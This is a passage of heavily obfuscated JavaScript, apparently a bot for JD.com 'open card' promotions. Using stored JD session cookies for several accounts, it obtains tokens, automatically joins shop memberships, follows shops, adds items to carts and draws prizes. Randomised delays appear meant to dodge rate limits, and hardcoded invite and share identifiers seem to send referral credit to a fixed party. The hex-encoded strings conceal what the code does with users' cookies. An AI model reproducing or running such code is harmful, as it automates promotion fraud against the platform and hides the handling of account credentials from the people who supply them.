x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x75\x72\x6c\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x2f\x2f\x70\x72\x6f\x64\x65\x76\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x6d\x61\x6c\x6c\x2f\x61\x63\x74\x69\x76\x65\x2f\x34\x34\x64\x44\x51\x71\x7a\x6a\x59\x4c\x57\x70\x72\x70\x35\x48\x37\x66\x6f\x6d\x42\x59\x72\x56\x4e\x71\x44\x47\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x25\x33\x46\x74\x74\x74\x70\x61\x72\x61\x6d\x73\x25\x33\x44\x65\x66\x4a\x65\x4d\x6d\x44\x65\x79\x4a\x6e\x54\x47\x35\x6e\x49\x6a\x6f\x69\x4d\x54\x45\x34\x4c\x6a\x45\x7a\x4d\x44\x49\x33\x4d\x69\x49\x73\x49\x6d\x64\x4d\x59\x58\x51\x69\x4f\x69\x49\x79\x4e\x43\x34\x30\x4f\x44\x55\x32\x4e\x54\x4d\x69\x66\x51\x37\x25\x32\x35\x33\x44\x25\x32\x35\x33\x44\x25\x32\x36\x73\x69\x64\x25\x33\x44\x62\x32\x61\x62\x35\x31\x66\x32\x39\x38\x62\x63\x32\x61\x39\x37\x63\x33\x35\x66\x66\x63\x64\x35\x65\x32\x66\x36\x36\x37\x37\x77\x25\x32\x36\x75\x6e\x5f\x61\x72\x65\x61\x25\x33\x44\x31\x36\x5f\x31\x33\x31\x35\x5f\x31\x33\x31\x36\x5f\x35\x33\x35\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3d\x31\x63\x31\x30\x31\x65\x30\x34\x30\x36\x38\x61\x65\x62\x66\x32\x39\x30\x35\x62\x33\x63\x38\x31\x38\x35\x34\x63\x39\x64\x32\x35\x31\x37\x36\x33\x39\x30\x66\x65\x26\x63\x6c\x69\x65\x6e\x74\x3d\x61\x70\x70\x6c\x65\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x31\x30\x2e\x31\x2e\x34\x26\x73\x74\x3d\x31\x36\x33\x32\x33\x39\x39\x33\x37\x39\x38\x32\x35\x26\x73\x76\x3d\x31\x31\x31\x26\x73\x69\x67\x6e\x3d\x36\x65\x30\x31\x38\x37\x32\x39\x34\x38\x37\x38\x36\x30\x33\x34\x34\x36\x61\x34\x34\x36\x65\x64\x31\x61\x34\x61\x63\x63\x31\x32','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x65\x74\x4d\x69\x78\x4e\x69\x63\x6b\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x65\x74\x4d\x69\x78\x4e\x69\x63\x6b','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x68\x6f\x70\x4c\x69\x73\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x68\x6f\x70\x4c\x69\x73\x74','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x63\x6f\x6c\x6c\x65\x63\x74\x53\x68\x6f\x70','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x64\x64\x43\x61\x72\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x64\x64\x43\x61\x72\x74','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x79\x41\x77\x61\x72\x64\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x79\x41\x77\x61\x72\x64','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74','\x70\x6f\x73\x74','\x73\x74\x61\x74\x75\x73\x43\x6f\x64\x65','\x74\x6f\x53\x74\x72','\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x70\x61\x72\x73\x65','\x20\u6267\u884c\u4efb\u52a1\u5f02\u5e38','\x72\x75\x6e\x46\x61\x6c\x61\x67','\x6f\x62\x6a\x65\x63\x74','\x65\x72\x72\x63\x6f\x64\x65','\x74\x6f\x6b\x65\x6e','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x6d\x65\x73\x73\x61\x67\x65','\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\x73\x75\x63\x63\x65\x73\x73','\x64\x61\x74\x61','\x73\x74\x61\x74\x75\x73','\x73\x75\x63\x63','\x69\x6e\x64\x65\x78\x4f\x66','\u7ed1\u5b9a\u6210\u529f','\x63\x75\x73\x74\x6f\x6d\x65\x72','\x69\x73\x46\x6f\x63\x75\x73\x41\x77\x61\x72\x64','\x69\x73\x43\x61\x72\x74\x41\x77\x61\x72\x64','\x72\x65\x6d\x61\x69\x6e\x44\x72\x61\x77\x43\x68\x61\x6e\x63\x65','\x67\x61\x69\x6e\x42\x65\x61\x6e\x73','\x74\x6f\x74\x61\x6c\x43\x68\x61\x6e\x63\x65','\x75\x73\x65\x64\x43\x68\x61\x6e\x63\x65','\x72\x65\x6d\x61\x69\x6e\x43\x68\x61\x6e\x63\x65','\x6a\x64\x41\x63\x74\x69\x76\x69\x74\x79\x53\x65\x74\x74\x69\x6e\x67','\x6c\x69\x73\x74','\x72\x65\x6d\x61\x72\x6b','\u9080\u8bf7\u4eba\u6570\x28','\x74\x6f\x74\x61\x6c','\x65\x72\x72\x6f\x72\x4d\x65\x73\x73\x61\x67\x65','\x2d\x3e\x20','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e','\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x2c\x20\x62\x72','\x7a\x68\x2d\x63\x6e','\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64','\x58\x4d\x4c\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74','\x4f\x72\x69\x67\x69\x6e','\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38','\x43\x6f\x6f\x6b\x69\x65','\x73\x68\x6f\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x2c\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3a','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x61\x70\x70\x69\x64\x3d\x6a\x64\x5f\x73\x68\x6f\x70\x5f\x6d\x65\x6d\x62\x65\x72\x26\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x62\x69\x6e\x64\x57\x69\x74\x68\x56\x65\x6e\x64\x65\x72\x26\x62\x6f\x64\x79\x3d\x7b\x22\x76\x65\x6e\x64\x65\x72\x49\x64\x22\x3a\x22','\x22\x2c\x22\x73\x68\x6f\x70\x49\x64\x22\x3a\x22','\x22\x2c\x22\x62\x69\x6e\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6f\x64\x65\x46\x6c\x61\x67\x22\x3a\x31\x2c\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6e\x64\x22\x3a\x7b\x7d\x2c\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6c\x64\x46\x6c\x61\x67\x22\x3a\x30','\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x22\x3a\x34\x30\x31\x7d\x26\x63\x6c\x69\x65\x6e\x74\x3d\x48\x35\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x39\x2e\x32\x2e\x30\x26\x75\x75\x69\x64\x3d\x38\x38\x38\x38\x38','\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x3b\x20\x43\x68\x61\x72\x73\x65\x74\x3d\x55\x54\x46\x2d\x38','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d','\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d','\x2a\x2f\x2a','\x67\x65\x74','\x74\x6f\x4f\x62\x6a','\x72\x65\x73\x75\x6c\x74','\x67\x69\x66\x74\x49\x6e\x66\x6f','\x67\x69\x66\x74\x4c\x69\x73\x74','\u5165\u4f1a\u83b7\u5f97\x3a','\x64\x69\x73\x63\x6f\x75\x6e\x74\x53\x74\x72\x69\x6e\x67','\x70\x72\x69\x7a\x65\x4e\x61\x6d\x65','\x73\x65\x63\x6f\x6e\x64\x4c\x69\x6e\x65\x44\x65\x73\x63','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x61\x70\x70\x69\x64\x3d\x6a\x64\x5f\x73\x68\x6f\x70\x5f\x6d\x65\x6d\x62\x65\x72\x26\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x67\x65\x74\x53\x68\x6f\x70\x4f\x70\x65\x6e\x43\x61\x72\x64\x49\x6e\x66\x6f\x26\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x76\x65\x6e\x64\x65\x72\x49\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32','\x25\x32\x32\x25\x32\x43\x25\x32\x32\x63\x68\x61\x6e\x6e\x65\x6c\x25\x32\x32\x25\x33\x41\x34\x30\x31\x25\x37\x44\x26\x63\x6c\x69\x65\x6e\x74\x3d\x48\x35\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x39\x2e\x32\x2e\x30\x26\x75\x75\x69\x64\x3d\x38\x38\x38\x38\x38','\u5165\u4f1a\x3a','\x73\x68\x6f\x70\x4d\x65\x6d\x62\x65\x72\x43\x61\x72\x64\x49\x6e\x66\x6f','\x76\x65\x6e\x64\x65\x72\x43\x61\x72\x64\x4e\x61\x6d\x65','\x69\x6e\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6c\x65\x4c\x69\x73\x74','\x69\x6e\x74\x65\x72\x65\x73\x74\x73\x49\x6e\x66\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x64\x7a\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x73\x68\x61\x72\x65\x55\x75\x69\x64','\x20\x63\x6f\x6f\x6b\x69\x65\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x30\x32\x38\x32\x32\x36\x36\x66\x39\x61\x37\x39\x34\x31\x31\x32\x61\x30\x61\x62\x34\x61\x62\x36\x63\x37\x38\x66\x38\x61\x30\x39','\x73\x74\x72\x69\x6e\x67\x69\x66\x79','\x72\x65\x70\x6c\x61\x63\x65','\x25\x32\x37','\x25\x37\x45','\x61\x64\x6d\x6a\x73\x6f\x6e','\x6d\x65\x74\x68\x6f\x64','\x74\x69\x6d\x65\x73\x74\x61\x6d\x70','\x6d\x64\x35','\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65','\x32\x2e\x30','\x66\x6c\x6f\x6f\x72','\x6a\x64\x61\x70\x70\x3b\x69\x50\x68\x6f\x6e\x65\x3b\x31\x30\x2e\x31\x2e\x34\x3b\x31\x33\x2e\x31\x2e\x32\x3b','\x3b\x6e\x65\x74\x77\x6f\x72\x6b\x2f\x77\x69\x66\x69\x3b\x6d\x6f\x64\x65\x6c\x2f\x69\x50\x68\x6f\x6e\x65\x38\x2c\x31\x3b\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2f\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3b\x61\x70\x70\x42\x75\x69\x6c\x64\x2f\x31\x36\x37\x38\x31\x34\x3b\x6a\x64\x53\x75\x70\x70\x6f\x72\x74\x44\x61\x72\x6b\x4d\x6f\x64\x65\x2f\x30\x3b\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x31\x5f\x32\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x3b\x73\x75\x70\x70\x6f\x72\x74\x4a\x44\x53\x48\x57\x4b\x2f\x31','\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39','\x63\x68\x61\x72\x41\x74','\x73\x74\x72\x69\x6e\x67','\u8bf7\u52ff\u968f\u610f\u5728\x42\x6f\x78\x4a\x73\u8f93\u5165\u6846\u4fee\u6539\u5185\u5bb9\x0a\u5efa\u8bae\u901a\u8fc7\u811a\u672c\u53bb\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65','\x4f\x6a\x59\x72\x46\x73\x46\x47\x4c\x6a\x75\x64\x69\x78\x70\x57\x61\x56\x50\x6d\x69\x2e\x63\x6f\x6d\x2e\x76\x36\x3d\x3d'];var _0x5d59=function(_0x31b4ba,_0x6d9140){_0x31b4ba=~~'0x'['concat'](_0x31b4ba);var _0x2fcd5f=_0x4384[_0x31b4ba];return _0x2fcd5f;};(function(_0x1a8dce,_0x4e1ff3){var _0xfc19fa=0x0;for(_0x4e1ff3=_0x1a8dce['shift'](_0xfc19fa>>0x2);_0x4e1ff3&&_0x4e1ff3!==(_0x1a8dce['pop'](_0xfc19fa>>0x3)+'')['replace'](/[OYrFFGLudxpWVP=]/g,'');_0xfc19fa++){_0xfc19fa=_0xfc19fa^0xaabbc;}}(_0x4384,_0x5d59));let cookiesArr=[],cookie='';if($[_0x5d59('0')]()){Object[_0x5d59('1')](jdCookieNode)[_0x5d59('2')](_0x4fc76e=>{cookiesArr[_0x5d59('3')](jdCookieNode[_0x4fc76e]);});if(process[_0x5d59('4')][_0x5d59('5')]&&process[_0x5d59('4')][_0x5d59('5')]===_0x5d59('6'))console[_0x5d59('7')]=()=>{};}else{cookiesArr=[$[_0x5d59('8')](_0x5d59('9')),$[_0x5d59('8')](_0x5d59('a')),...jsonParse($[_0x5d59('8')](_0x5d59('b'))||'\x5b\x5d')[_0x5d59('c')](_0x3cd9c1=>_0x3cd9c1[_0x5d59('d')])][_0x5d59('e')](_0x597302=>!!_0x597302);}guaopencard_addSku=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('f')]?process[_0x5d59('4')][_0x5d59('f')]:''+guaopencard_addSku:$[_0x5d59('8')](_0x5d59('f'))?$[_0x5d59('8')](_0x5d59('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('10')]?process[_0x5d59('4')][_0x5d59('10')]:''+guaopencard_addSku:$[_0x5d59('8')](_0x5d59('10'))?$[_0x5d59('8')](_0x5d59('10')):''+guaopencard_addSku;guaopencard=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('11')]?process[_0x5d59('4')][_0x5d59('11')]:''+guaopencard:$[_0x5d59('8')](_0x5d59('11'))?$[_0x5d59('8')](_0x5d59('11')):''+guaopencard;guaopencard=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('12')]?process[_0x5d59('4')][_0x5d59('12')]:''+guaopencard:$[_0x5d59('8')](_0x5d59('12'))?$[_0x5d59('8')](_0x5d59('12')):''+guaopencard;guaopenwait=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('13')]?process[_0x5d59('4')][_0x5d59('13')]:''+guaopenwait:$[_0x5d59('8')](_0x5d59('13'))?$[_0x5d59('8')](_0x5d59('13')):''+guaopenwait;guaopenwait=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('14')]?process[_0x5d59('4')][_0x5d59('14')]:''+guaopenwait:$[_0x5d59('8')](_0x5d59('14'))?$[_0x5d59('8')](_0x5d59('14')):''+guaopenwait;guaopenwait=parseInt(guaopenwait,0xa)||0x0;allMessage='';message='';$[_0x5d59('15')]=![];$[_0x5d59('16')]=![];$[_0x5d59('17')]=![];let lz_jdpin_token_cookie='';let activityCookie='';!(async()=>{if($[_0x5d59('0')]()){if(guaopencard+''!=_0x5d59('18')){console[_0x5d59('7')](_0x5d59('19'));}if(guaopencard+''!=_0x5d59('18')){return;}}if(!cookiesArr[0x0]){$[_0x5d59('1a')]($[_0x5d59('1b')],_0x5d59('1c'),_0x5d59('1d'),{'open-url':_0x5d59('1d')});return;}$[_0x5d59('1e')]=_0x5d59('1f');$[_0x5d59('20')]=_0x5d59('21');$[_0x5d59('22')]=_0x5d59('23');$[_0x5d59('24')]=_0x5d59('25');$[_0x5d59('26')]=_0x5d59('27');MD5();for(let _0x358567=0x0;_0x358567$[_0x5d59('34')](_0x238973))[_0x5d59('35')](()=>$[_0x5d59('36')]());async function run(){try{$[_0x5d59('37')]=!![];$[_0x5d59('38')]=0x0;lz_jdpin_token_cookie='';$[_0x5d59('39')]='';$[_0x5d59('3a')]='';$[_0x5d59('30')]='';let _0x1de539=![];$[_0x5d59('3b')]=-0x1;if($[_0x5d59('17')])return;if($[_0x5d59('16')]){console[_0x5d59('7')](_0x5d59('3c'));return;}await takePostRequest(_0x5d59('3d'));if($[_0x5d59('39')]==''){console[_0x5d59('7')](_0x5d59('3e'));return;}await takePostRequest(_0x5d59('3f'));if($[_0x5d59('30')]==''){console[_0x5d59('7')](_0x5d59('40'));return;}$[_0x5d59('41')]=0x0;await takePostRequest(_0x5d59('42'));if($[_0x5d59('3b')]==-0x1){$[_0x5d59('30')]='';console[_0x5d59('7')](_0x5d59('43'));return;}if(Date[_0x5d59('44')]()>$[_0x5d59('38')]){$[_0x5d59('30')]='';$[_0x5d59('17')]=!![];console[_0x5d59('7')](_0x5d59('45'));return;}console[_0x5d59('7')](_0x5d59('46')+$[_0x5d59('47')]+'\x2f'+$[_0x5d59('3b')]+'\x29');$[_0x5d59('48')]=[];await takePostRequest(_0x5d59('49'));if($[_0x5d59('48')]&&$[_0x5d59('3b')]-$[_0x5d59('47')]>0x0){if($[_0x5d59('41')]==0x1)$[_0x5d59('41')]=0x2;await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));for(let _0x45f7e7 of $[_0x5d59('48')]){$[_0x5d59('4c')]=_0x45f7e7[_0x5d59('20')];$[_0x5d59('4d')]='';await takePostRequest(_0x5d59('4e'));$[_0x5d59('4c')]='';if($[_0x5d59('4d')]===''){console[_0x5d59('7')](_0x45f7e7[_0x5d59('4f')]);await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));$[_0x5d59('50')]=_0x45f7e7[_0x5d59('20')];await joinShop();await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x3e8,0xa));$[_0x5d59('51')]=_0x45f7e7[_0x5d59('20')];await takePostRequest(_0x5d59('42'));$[_0x5d59('51')]='';}await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));}}await takePostRequest(_0x5d59('52'));await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0x7d0,0xa));if(guaopencard_addSku+''!=_0x5d59('18')){console[_0x5d59('7')](_0x5d59('53'));}else{await takePostRequest(_0x5d59('54'));await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0x7d0,0xa));}await takePostRequest(_0x5d59('55'));await takePostRequest(_0x5d59('56'));console[_0x5d59('7')]($[_0x5d59('30')]);console[_0x5d59('7')](_0x5d59('57')+$[_0x5d59('26')]);if($[_0x5d59('2b')]==0x1){$[_0x5d59('26')]=$[_0x5d59('30')];console[_0x5d59('7')](_0x5d59('58')+$[_0x5d59('26')]);}await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x1388,0xa));if(_0x1de539)await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x2710,0xa));if(guaopenwait){if($[_0x5d59('2b')]!=cookiesArr[_0x5d59('28')]){console[_0x5d59('7')]('\u7b49\u5f85'+guaopenwait+'\u79d2');await $[_0x5d59('4a')](parseInt(guaopenwait,0xa)*0x3e8);}}else{if($[_0x5d59('2b')]%0x3==0x0)console[_0x5d59('7')](_0x5d59('59'));if($[_0x5d59('2b')]%0x3==0x0)await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x1388+0xea60,0xa));}}catch(_0x3776d6){console[_0x5d59('7')](_0x3776d6);}}async function takePostRequest(_0x4fed15){if($[_0x5d59('16')])return;let _0x4e8b4c=_0x5d59('5a');let _0x397d45='';let _0x5e2587=_0x5d59('5b');let _0x488774='';switch(_0x4fed15){case _0x5d59('3d'):_0x4e8b4c=_0x5d59('5c');_0x397d45=_0x5d59('5d');break;case _0x5d59('3f'):_0x4e8b4c=_0x4e8b4c+_0x5d59('5e')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'source':'\x30\x31','strTMMixNick':$[_0x5d59('39')]};_0x397d45=taskPostUrl(_0x5d59('5f'),_0x488774);break;case _0x5d59('42'):_0x4e8b4c=_0x4e8b4c+_0x5d59('60')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'shopId':$[_0x5d59('51')]||null,'inviteNick':$[_0x5d59('26')]||null};_0x397d45=taskPostUrl(_0x5d59('61'),_0x488774);break;case _0x5d59('49'):_0x4e8b4c=_0x4e8b4c+_0x5d59('62')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('63'),_0x488774);break;case _0x5d59('4e'):_0x4e8b4c=_0x4e8b4c+_0x5d59('64')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'shopId':$[_0x5d59('4c')]||null};_0x397d45=taskPostUrl(_0x5d59('65'),_0x488774);break;case _0x5d59('52'):_0x4e8b4c=_0x4e8b4c+_0x5d59('66')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'missionType':_0x5d59('67')};_0x397d45=taskPostUrl(_0x5d59('68'),_0x488774);break;case _0x5d59('54'):_0x4e8b4c=_0x4e8b4c+_0x5d59('69')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'missionType':_0x5d59('54')};_0x397d45=taskPostUrl(_0x5d59('6a'),_0x488774);break;case _0x5d59('55'):_0x4e8b4c=_0x4e8b4c+_0x5d59('6b')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('6c'),_0x488774);break;case _0x5d59('56'):_0x4e8b4c=_0x4e8b4c+_0x5d59('6d')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('6e'),_0x488774);break;default:console[_0x5d59('7')]('\u9519\u8bef'+_0x4fed15);}let _0x2c1648=getPostRequest(_0x4e8b4c,_0x397d45,_0x5e2587);return new Promise(async _0x3491c1=>{$[_0x5d59('6f')](_0x2c1648,(_0x4a2b04,_0x43afc4,_0x190224)=>{try{if(_0x4a2b04){if(_0x43afc4&&_0x43afc4[_0x5d59('70')]&&_0x43afc4[_0x5d59('70')]==0x1ed){console[_0x5d59('7')](_0x5d59('3c'));$[_0x5d59('16')]=!![];}console[_0x5d59('7')](''+$[_0x5d59('71')](_0x4a2b04,_0x4a2b04));console[_0x5d59('7')](_0x4fed15+_0x5d59('72'));}else{dealReturn(_0x4fed15,_0x190224);}}catch(_0x291754){console[_0x5d59('7')](_0x291754,_0x43afc4);}finally{_0x3491c1();}});});}async function dealReturn(_0x40bdc6,_0x2deda4){let _0x4e1328='';try{if(_0x40bdc6!=_0x5d59('73')||_0x40bdc6!=_0x5d59('74')){if(_0x2deda4){_0x4e1328=JSON[_0x5d59('75')](_0x2deda4);}}}catch(_0x48519a){console[_0x5d59('7')](_0x40bdc6+_0x5d59('76'));console[_0x5d59('7')](_0x2deda4);$[_0x5d59('77')]=![];}try{switch(_0x40bdc6){case _0x5d59('3d'):if(typeof _0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('79')]==0x0){if(typeof _0x4e1328[_0x5d59('7a')]!=_0x5d59('7b'))$[_0x5d59('39')]=_0x4e1328[_0x5d59('7a')];}else if(_0x4e1328[_0x5d59('7c')]){console[_0x5d59('7')](_0x40bdc6+'\x20'+(_0x4e1328[_0x5d59('7c')]||''));}else{console[_0x5d59('7')](_0x2deda4);}}else{console[_0x5d59('7')](_0x2deda4);}break;case _0x5d59('73'):case _0x5d59('74'):break;case _0x5d59('42'):case _0x5d59('3f'):case _0x5d59('49'):case _0x5d59('4e'):case _0x5d59('7d'):case _0x5d59('52'):case _0x5d59('54'):case _0x5d59('55'):case _0x5d59('56'):let _0x127c0c='';if(_0x40bdc6==_0x5d59('52'))_0x127c0c='\u5173\u6ce8';if(_0x40bdc6==_0x5d59('54'))_0x127c0c='\u52a0\u8d2d';if(typeof 